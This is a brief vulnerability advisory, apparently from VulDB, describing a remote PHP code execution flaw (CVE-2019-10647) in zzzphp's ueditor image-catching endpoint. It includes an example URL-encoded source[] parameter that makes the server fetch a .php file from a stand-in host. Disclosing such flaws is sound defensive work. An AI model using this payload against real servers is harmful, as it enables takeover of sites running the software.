CVE-2019-10647 in zzzphp
Sumário
de VulDB • 07/06/2026
O ZZZCMS zzzphp v1.6.3 permite que atacantes remotos executem código PHP arbitrário por meio de uma URL .php no parâmetro source[] do controller.php?action=catchimage em plugins/ueditor/php, devido à falta de restrições em inc/zzz_file.php. Por exemplo, source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php pode ser utilizado se o servidor web 192.168.0.1 enviar o conteúdo de um arquivo .php (ou seja, ele não interpreta um arquivo .php).
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.